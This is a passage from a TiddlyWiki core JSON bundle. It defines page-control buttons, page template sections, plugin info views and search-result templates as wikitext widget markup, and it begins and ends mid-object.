            "caption": "{{$:/core/images/export-button}} {{$:/language/Buttons/ExportPage/Caption}}",
            "description": "{{$:/language/Buttons/ExportPage/Hint}}",
            "text": "<$macrocall $name=\"exportButton\" exportFilter=\"[!is[system]sort[title]]\" lingoBase=\"$:/language/Buttons/ExportPage/\"/>"
        },
        "$:/core/ui/Buttons/fold-all": {
            "title": "$:/core/ui/Buttons/fold-all",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/fold-all-button}} {{$:/language/Buttons/FoldAll/Caption}}",
            "description": "{{$:/language/Buttons/FoldAll/Hint}}",
            "text": "<$button tooltip={{$:/language/Buttons/FoldAll/Hint}} aria-label={{$:/language/Buttons/FoldAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-all-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/FoldAll/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/full-screen": {
            "title": "$:/core/ui/Buttons/full-screen",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/full-screen-button}} {{$:/language/Buttons/FullScreen/Caption}}",
            "description": "{{$:/language/Buttons/FullScreen/Hint}}",
            "text": "<$button message=\"tm-full-screen\" tooltip={{$:/language/Buttons/FullScreen/Hint}} aria-label={{$:/language/Buttons/FullScreen/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/full-screen-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/FullScreen/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/home": {
            "title": "$:/core/ui/Buttons/home",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/home-button}} {{$:/language/Buttons/Home/Caption}}",
            "description": "{{$:/language/Buttons/Home/Hint}}",
            "text": "<$button message=\"tm-home\" tooltip={{$:/language/Buttons/Home/Hint}} aria-label={{$:/language/Buttons/Home/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/home-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Home/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/import": {
            "title": "$:/core/ui/Buttons/import",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/import-button}} {{$:/language/Buttons/Import/Caption}}",
            "description": "{{$:/language/Buttons/Import/Hint}}",
            "text": "<div class=\"tc-file-input-wrapper\">\n<$button tooltip={{$:/language/Buttons/Import/Hint}} aria-label={{$:/language/Buttons/Import/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/import-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Import/Caption}}/></span>\n</$list>\n</$button>\n<$browse tooltip={{$:/language/Buttons/Import/Hint}}/>\n</div>"
        },
        "$:/core/ui/Buttons/language": {
            "title": "$:/core/ui/Buttons/language",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/globe}} {{$:/language/Buttons/Language/Caption}}",
            "description": "{{$:/language/Buttons/Language/Hint}}",
            "text": "\\define flag-title()\n$(languagePluginTitle)$/icon\n\\end\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/language\">> tooltip={{$:/language/Buttons/Language/Hint}} aria-label={{$:/language/Buttons/Language/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n<span class=\"tc-image-button\">\n<$set name=\"languagePluginTitle\" value={{$:/language}}>\n<$image source=<<flag-title>>/>\n</$set>\n</span>\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Language/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/language\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n{{$:/snippets/languageswitcher}}\n</div>\n</$reveal>"
        },
        "$:/core/ui/Buttons/manager": {
            "title": "$:/core/ui/Buttons/manager",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/list}} {{$:/language/Buttons/Manager/Caption}}",
            "description": "{{$:/language/Buttons/Manager/Hint}}",
            "text": "\\define manager-button(class)\n<$button to=\"$:/Manager\" tooltip={{$:/language/Buttons/Manager/Hint}} aria-label={{$:/language/Buttons/Manager/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/list}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Manager/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/Manager]]\" emptyMessage=<<manager-button>>>\n<<manager-button \"tc-selected\">>\n</$list>\n"
        },
        "$:/core/ui/Buttons/more-page-actions": {
            "title": "$:/core/ui/Buttons/more-page-actions",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/down-arrow}} {{$:/language/Buttons/More/Caption}}",
            "description": "{{$:/language/Buttons/More/Hint}}",
            "text": "\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n<$button popup=<<qualify \"$:/state/popup/more\">> tooltip={{$:/language/Buttons/More/Hint}} aria-label={{$:/language/Buttons/More/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/down-arrow}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/More/Caption}}/></span>\n</$list>\n</$button><$reveal state=<<qualify \"$:/state/popup/more\">> type=\"popup\" position=\"below\" animate=\"yes\">\n\n<div class=\"tc-drop-down\">\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"tc-btn-invisible\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]] -[[$:/core/ui/Buttons/more-page-actions]]\" variable=\"listItem\">\n\n<$reveal type=\"match\" state=<<config-title>> text=\"hide\">\n\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$set>\n\n</$reveal>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</div>\n\n</$reveal>"
        },
        "$:/core/ui/Buttons/new-image": {
            "title": "$:/core/ui/Buttons/new-image",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/new-image-button}} {{$:/language/Buttons/NewImage/Caption}}",
            "description": "{{$:/language/Buttons/NewImage/Hint}}",
            "text": "<$button tooltip={{$:/language/Buttons/NewImage/Hint}} aria-label={{$:/language/Buttons/NewImage/Caption}} class=<<tv-config-toolbar-class>> actions={{$:/core/ui/Actions/new-image}}>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/new-image-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewImage/Caption}}/></span>\n</$list>\n</$button>\n"
        },
        "$:/core/ui/Buttons/new-journal": {
            "title": "$:/core/ui/Buttons/new-journal",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/new-journal-button}} {{$:/language/Buttons/NewJournal/Caption}}",
            "description": "{{$:/language/Buttons/NewJournal/Hint}}",
            "text": "\\define journalButton()\n<$button tooltip={{$:/language/Buttons/NewJournal/Hint}} aria-label={{$:/language/Buttons/NewJournal/Caption}} class=<<tv-config-toolbar-class>> actions={{$:/core/ui/Actions/new-journal}}>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/new-journal-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewJournal/Caption}}/></span>\n</$list>\n</$button>\n\\end\n<<journalButton>>\n"
        },
        "$:/core/ui/Buttons/new-tiddler": {
            "title": "$:/core/ui/Buttons/new-tiddler",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/new-button}} {{$:/language/Buttons/NewTiddler/Caption}}",
            "description": "{{$:/language/Buttons/NewTiddler/Hint}}",
            "text": "<$button actions={{$:/core/ui/Actions/new-tiddler}} tooltip={{$:/language/Buttons/NewTiddler/Hint}} aria-label={{$:/language/Buttons/NewTiddler/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/new-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewTiddler/Caption}}/></span>\n</$list>\n</$button>\n"
        },
        "$:/core/ui/Buttons/palette": {
            "title": "$:/core/ui/Buttons/palette",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/palette}} {{$:/language/Buttons/Palette/Caption}}",
            "description": "{{$:/language/Buttons/Palette/Hint}}",
            "text": "<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/palette\">> tooltip={{$:/language/Buttons/Palette/Hint}} aria-label={{$:/language/Buttons/Palette/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/palette}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Palette/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/palette\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\" style=\"font-size:0.7em;\">\n{{$:/snippets/paletteswitcher}}\n</div>\n</$reveal>"
        },
        "$:/core/ui/Buttons/print": {
            "title": "$:/core/ui/Buttons/print",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/print-button}} {{$:/language/Buttons/Print/Caption}}",
            "description": "{{$:/language/Buttons/Print/Hint}}",
            "text": "<$button message=\"tm-print\" tooltip={{$:/language/Buttons/Print/Hint}} aria-label={{$:/language/Buttons/Print/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/print-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Print/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/refresh": {
            "title": "$:/core/ui/Buttons/refresh",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/refresh-button}} {{$:/language/Buttons/Refresh/Caption}}",
            "description": "{{$:/language/Buttons/Refresh/Hint}}",
            "text": "<$button message=\"tm-browser-refresh\" tooltip={{$:/language/Buttons/Refresh/Hint}} aria-label={{$:/language/Buttons/Refresh/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/refresh-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Refresh/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/save-wiki": {
            "title": "$:/core/ui/Buttons/save-wiki",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/save-button}} {{$:/language/Buttons/SaveWiki/Caption}}",
            "description": "{{$:/language/Buttons/SaveWiki/Hint}}",
            "text": "<$button tooltip={{$:/language/Buttons/SaveWiki/Hint}} aria-label={{$:/language/Buttons/SaveWiki/Caption}} class=<<tv-config-toolbar-class>>>\n<$wikify name=\"site-title\" text={{$:/config/SaveWikiButton/Filename}}>\n<$action-sendmessage $message=\"tm-save-wiki\" $param={{$:/config/SaveWikiButton/Template}} filename=<<site-title>>/>\n</$wikify>\n<span class=\"tc-dirty-indicator\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/save-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/SaveWiki/Caption}}/></span>\n</$list>\n</span>\n</$button>"
        },
        "$:/core/ui/Buttons/storyview": {
            "title": "$:/core/ui/Buttons/storyview",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/storyview-classic}} {{$:/language/Buttons/StoryView/Caption}}",
            "description": "{{$:/language/Buttons/StoryView/Hint}}",
            "text": "\\define icon()\n$:/core/images/storyview-$(storyview)$\n\\end\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/storyview\">> tooltip={{$:/language/Buttons/StoryView/Hint}} aria-label={{$:/language/Buttons/StoryView/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n<$set name=\"storyview\" value={{$:/view}}>\n<$transclude tiddler=<<icon>>/>\n</$set>\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/StoryView/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/storyview\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n{{$:/snippets/viewswitcher}}\n</div>\n</$reveal>"
        },
        "$:/core/ui/Buttons/tag-manager": {
            "title": "$:/core/ui/Buttons/tag-manager",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/tag-button}} {{$:/language/Buttons/TagManager/Caption}}",
            "description": "{{$:/language/Buttons/TagManager/Hint}}",
            "text": "\\define control-panel-button(class)\n<$button to=\"$:/TagManager\" tooltip={{$:/language/Buttons/TagManager/Hint}} aria-label={{$:/language/Buttons/TagManager/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/tag-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/TagManager/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/TagManager]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
        },
        "$:/core/ui/Buttons/theme": {
            "title": "$:/core/ui/Buttons/theme",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/theme-button}} {{$:/language/Buttons/Theme/Caption}}",
            "description": "{{$:/language/Buttons/Theme/Hint}}",
            "text": "<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/theme\">> tooltip={{$:/language/Buttons/Theme/Hint}} aria-label={{$:/language/Buttons/Theme/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/theme-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Theme/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/theme\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$linkcatcher to=\"$:/theme\">\n{{$:/snippets/themeswitcher}}\n</$linkcatcher>\n</div>\n</$reveal>"
        },
        "$:/core/ui/Buttons/timestamp": {
            "title": "$:/core/ui/Buttons/timestamp",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/timestamp-on}} {{$:/language/Buttons/Timestamp/Caption}}",
            "description": "{{$:/language/Buttons/Timestamp/Hint}}",
            "text": "<$reveal type=\"nomatch\" state=\"$:/config/TimestampDisable\" text=\"yes\">\n<$button tooltip={{$:/language/Buttons/Timestamp/On/Hint}} aria-label={{$:/language/Buttons/Timestamp/On/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-setfield $tiddler=\"$:/config/TimestampDisable\" $value=\"yes\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/timestamp-on}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Timestamp/On/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=\"$:/config/TimestampDisable\" text=\"yes\">\n<$button tooltip={{$:/language/Buttons/Timestamp/Off/Hint}} aria-label={{$:/language/Buttons/Timestamp/Off/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-setfield $tiddler=\"$:/config/TimestampDisable\" $value=\"no\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/timestamp-off}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Timestamp/Off/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>"
        },
        "$:/core/ui/Buttons/unfold-all": {
            "title": "$:/core/ui/Buttons/unfold-all",
            "tags": "$:/tags/PageControls",
            "caption": "{{$:/core/images/unfold-all-button}} {{$:/language/Buttons/UnfoldAll/Caption}}",
            "description": "{{$:/language/Buttons/UnfoldAll/Hint}}",
            "text": "<$button tooltip={{$:/language/Buttons/UnfoldAll/Hint}} aria-label={{$:/language/Buttons/UnfoldAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-unfold-all-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\" variable=\"listItem\">\n{{$:/core/images/unfold-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/UnfoldAll/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/PageTemplate/pagecontrols": {
            "title": "$:/core/ui/PageTemplate/pagecontrols",
            "text": "\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-page-controls\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]]\" variable=\"listItem\">\n<$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\">\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n</$set>\n</$reveal>\n</$list>\n</div>\n\n"
        },
        "$:/core/ui/PageStylesheet": {
            "title": "$:/core/ui/PageStylesheet",
            "text": "\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<$set name=\"currentTiddler\" value={{$:/language}}>\n\n<$set name=\"languageTitle\" value={{!!name}}>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<$transclude mode=\"block\"/>\n</$list>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/PageTemplate/alerts": {
            "title": "$:/core/ui/PageTemplate/alerts",
            "tags": "$:/tags/PageTemplate",
            "text": "<div class=\"tc-alerts\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Alert]!has[draft.of]]\" template=\"$:/core/ui/AlertTemplate\" storyview=\"pop\"/>\n\n</div>\n"
        },
        "$:/core/ui/PageTemplate/drafts": {
            "title": "$:/core/ui/PageTemplate/drafts",
            "tags": "$:/tags/PageTemplate",
            "text": "\\whitespace trim\n<$reveal state=\"$:/status/IsReadOnly\" type=\"nomatch\" text=\"yes\" tag=\"div\" class=\"tc-drafts-list\">\n<$list filter=\"[has[draft.of]!sort[modified]] -[list[$:/StoryList]]\">\n<$link>\n{{$:/core/images/edit-button}} <$text text=<<currentTiddler>>/>\n</$link>\n</$list>\n</$reveal>\n"
        },
        "$:/core/ui/PageTemplate/pluginreloadwarning": {
            "title": "$:/core/ui/PageTemplate/pluginreloadwarning",
            "tags": "$:/tags/PageTemplate",
            "text": "\\define lingo-base() $:/language/\n\n<$list filter=\"[has[plugin-type]haschanged[]!plugin-type[import]limit[1]]\">\n\n<$reveal type=\"nomatch\" state=\"$:/temp/HidePluginWarning\" text=\"yes\">\n\n<div class=\"tc-plugin-reload-warning\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<<lingo PluginReloadWarning>> <$button set=\"$:/temp/HidePluginWarning\" setTo=\"yes\" class=\"tc-btn-invisible\">{{$:/core/images/close-button}}</$button>\n\n</$set>\n\n</div>\n\n</$reveal>\n\n</$list>\n"
        },
        "$:/core/ui/PageTemplate/sidebar": {
            "title": "$:/core/ui/PageTemplate/sidebar",
            "tags": "$:/tags/PageTemplate",
            "text": "\\define config-title()\n$:/config/SideBarSegments/Visibility/$(listItem)$\n\\end\n\n<$scrollable fallthrough=\"no\" class=\"tc-sidebar-scrollable\">\n\n<div class=\"tc-sidebar-header\">\n\n<$reveal state=\"$:/state/sidebar\" type=\"match\" text=\"yes\" default=\"yes\" retain=\"yes\" animate=\"yes\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SideBarSegment]!has[draft.of]]\" variable=\"listItem\">\n\n<$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\"  tag=\"div\">\n\n<$transclude tiddler=<<listItem>> mode=\"block\"/>\n\n</$reveal>\n\n</$list>\n\n</$reveal>\n\n</div>\n\n</$scrollable>"
        },
        "$:/core/ui/PageTemplate/story": {
            "title": "$:/core/ui/PageTemplate/story",
            "tags": "$:/tags/PageTemplate",
            "text": "<section class=\"tc-story-river\">\n\n<section class=\"story-backdrop\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/AboveStory]!has[draft.of]]\">\n\n<$transclude/>\n\n</$list>\n\n</section>\n\n<$list filter=\"[list[$:/StoryList]]\" history=\"$:/HistoryList\" template=\"$:/core/ui/ViewTemplate\" editTemplate=\"$:/core/ui/EditTemplate\" storyview={{$:/view}} emptyMessage={{$:/config/EmptyStoryMessage}}/>\n\n<section class=\"story-frontdrop\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/BelowStory]!has[draft.of]]\">\n\n<$transclude/>\n\n</$list>\n\n</section>\n\n</section>\n"
        },
        "$:/core/ui/PageTemplate/topleftbar": {
            "title": "$:/core/ui/PageTemplate/topleftbar",
            "tags": "$:/tags/PageTemplate",
            "text": "<span class=\"tc-topbar tc-topbar-left\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TopLeftBar]!has[draft.of]]\" variable=\"listItem\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$list>\n\n</span>\n"
        },
        "$:/core/ui/PageTemplate/toprightbar": {
            "title": "$:/core/ui/PageTemplate/toprightbar",
            "tags": "$:/tags/PageTemplate",
            "text": "<span class=\"tc-topbar tc-topbar-right\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TopRightBar]!has[draft.of]]\" variable=\"listItem\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$list>\n\n</span>\n"
        },
        "$:/core/ui/PageTemplate": {
            "title": "$:/core/ui/PageTemplate",
            "text": "\\define containerClasses()\ntc-page-container tc-page-view-$(storyviewTitle)$ tc-language-$(languageTitle)$\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<$set name=\"tv-config-toolbar-icons\" value={{$:/config/Toolbar/Icons}}>\n\n<$set name=\"tv-config-toolbar-text\" value={{$:/config/Toolbar/Text}}>\n\n<$set name=\"tv-config-toolbar-class\" value={{$:/config/Toolbar/ButtonClass}}>\n\n<$set name=\"tv-show-missing-links\" value={{$:/config/MissingLinks}}>\n\n<$set name=\"storyviewTitle\" value={{$:/view}}>\n\n<$set name=\"currentTiddler\" value={{$:/language}}>\n\n<$set name=\"languageTitle\" value={{!!name}}>\n\n<$set name=\"currentTiddler\" value=\"\">\n\n<div class=<<containerClasses>>>\n\n<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n\n<$dropzone>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageTemplate]!has[draft.of]]\" variable=\"listItem\">\n\n<$transclude tiddler=<<listItem>>/>\n\n</$list>\n\n</$dropzone>\n\n</$navigator>\n\n</div>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/PluginInfo": {
            "title": "$:/core/ui/PluginInfo",
            "text": "\\define localised-info-tiddler-title()\n$(currentTiddler)$/$(languageTitle)$/$(currentTab)$\n\\end\n\\define info-tiddler-title()\n$(currentTiddler)$/$(currentTab)$\n\\end\n\\define default-tiddler-title()\n$:/core/ui/PluginInfo/Default/$(currentTab)$\n\\end\n<$transclude tiddler=<<localised-info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<localised-info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<default-tiddler-title>> mode=\"block\">\n{{$:/language/ControlPanel/Plugin/NoInfoFound/Hint}}\n</$transclude>\n</$transclude>\n</$transclude>\n</$transclude>\n"
        },
        "$:/core/ui/PluginInfo/Default/contents": {
            "title": "$:/core/ui/PluginInfo/Default/contents",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/PluginInfo/\n<<lingo Hint>>\n<ul>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" emptyMessage=<<lingo Empty/Hint>>>\n<li>\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</li>\n</$list>\n</ul>\n"
        },
        "$:/core/ui/PluginListItemTemplate": {
            "title": "$:/core/ui/PluginListItemTemplate",
            "text": "<div class=\"tc-menu-list-item\">\n<$link to={{!!title}}>\n<$view field=\"description\">\n<$view field=\"title\"/>\n</$view>\n</$link>\n</div>"
        },
        "$:/core/ui/SearchResults": {
            "title": "$:/core/ui/SearchResults",
            "text": "<div class=\"tc-search-results\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]butfirst[]limit[1]]\" emptyMessage=\"\"\"\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\">\n<$transclude mode=\"block\"/>\n</$list>\n\"\"\">\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\" default={{$:/config/SearchResults/Default}}/>\n\n</$list>\n\n</div>\n"
        },
        "$:/core/ui/SideBar/More": {
            "title": "$:/core/ui/SideBar/More",
            "tags": "$:/tags/SideBar",
            "caption": "{{$:/language/SideBar/More/Caption}}",
            "text": "<div class=\"tc-more-sidebar\">\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar]!has[draft.of]]\" default={{$:/config/DefaultMoreSidebarTab}} state=\"$:/state/tab/moresidebar\" class=\"tc-vertical\" />\n</div>"
        },
        "$:/core/ui/SideBar/Open": {
            "title": "$:/core/ui/SideBar/Open",
            "tags": "$:/tags/SideBar",
            "caption": "{{$:/language/SideBar/Open/Caption}}",
